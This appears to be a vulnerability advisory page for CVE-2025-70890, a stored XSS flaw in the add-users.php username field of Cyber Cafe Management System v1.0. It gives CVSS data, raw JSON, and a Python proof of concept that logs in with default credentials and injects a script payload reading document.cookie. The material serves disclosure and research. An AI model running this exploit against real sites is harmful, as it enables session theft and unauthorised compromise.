Security Vulnerability Report
中文
CVE-2025-70890 CVSS 6.1 MEDIUM

CVE-2025-70890

Published: 2026-01-15 21:16:05
Last Modified: 2026-01-22 16:01:53

Description

A stored cross-site scripting (XSS) vulnerability exists in Cyber Cafe Management System v1.0. An authenticated attacker can inject arbitrary JavaScript code into the username parameter via the add-users.php endpoint. The injected payload is stored and executed in the victim s browser when the affected page is accessed.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:cyber_cafe_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Cyber Cafe Management System v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-70890 PoC - Cyber Cafe Management System Stored XSS # Affected Endpoint: add-users.php # Payload injection via username parameter import requests import sys target_url = "http://target.com/cyber-cafe-management-system/" login_url = target_url + "index.php" add_user_url = target_url + "add-users.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Authentication credentials credentials = { "username": "admin", "password": "admin123" } def exploit(): session = requests.Session() # Step 1: Authenticate to obtain session login_response = session.post(login_url, data=credentials) if "Login Success" in login_response.text or session.cookies.get("PHPSESSID"): print("[+] Authentication successful") else: print("[-] Authentication failed") return False # Step 2: Inject XSS payload via username parameter user_data = { "username": xss_payload, "password": "test123", "name": "Test User", "email": "[email protected]", "phone": "1234567890", "submit": "1" } add_response = session.post(add_user_url, data=user_data) if "success" in add_response.text.lower(): print("[+] XSS payload injected successfully") print("[*] Payload will execute when affected page is accessed") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70890", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:04.733", "lastModified": "2026-01-22T16:01:53.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in Cyber Cafe Management System v1.0. An authenticated attacker can inject arbitrary JavaScript code into the username parameter via the add-users.php endpoint. The injected payload is stored and executed in the victim s browser when the affected page is accessed."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) almacenado existe en Cyber Cafe Management System v1.0. Un atacante autenticado puede inyectar código JavaScript arbitrario en el parámetro username a través del endpoint add-users.php. La carga útil inyectada se almacena y se ejecuta en el navegador de la víctima cuando se accede a la página afectada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:cyber_cafe_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "076A2810-A876-4B7D-B728-BCCE977A7225"}]}]}], "references": [{"url": "https://github.com/efekaanakkar/Cyber-Cafe-Management-System-CVEs/tree/main/CVE-2025-70890", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/cyber-cafe-management-system-using-php-mysql/", "source": "[email protected]", "tags": ["Product"]}]}}